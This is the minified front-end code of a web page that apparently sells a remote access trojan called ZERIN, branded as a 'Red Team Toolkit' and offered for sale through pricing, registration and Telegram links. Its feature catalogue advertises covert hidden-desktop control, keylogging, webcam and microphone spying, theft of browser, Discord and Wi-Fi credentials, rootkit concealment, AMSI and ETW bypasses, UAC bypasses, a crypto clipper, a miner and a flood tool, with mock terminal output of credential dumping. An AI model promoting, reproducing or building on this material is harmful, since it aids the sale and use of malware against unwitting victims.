text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(it,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const ji=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function A3(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const iV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function g2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(g2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(g2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const sV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function oV({cat:e,index:t}){const{ref:n,visible:r}=A3(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(sV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(aV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function lV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:ji.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function Dl({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function cV(){const[e,t]=p.useState(!1),[n,r]=p.useState(ji[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return ji.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=ji.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(iV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(it,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(it,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(it,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(it,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(lV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",ji.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(Dl,{value:String(a),label:"Capabilities"}),s.jsx(Dl,{value:"13",label:"Persist Methods"}),s.jsx(Dl,{value:"11",label:"Rootkit Hooks"}),s.jsx(Dl,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:ji.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:ji.map((o,l)=>s.jsx(oV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(it,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 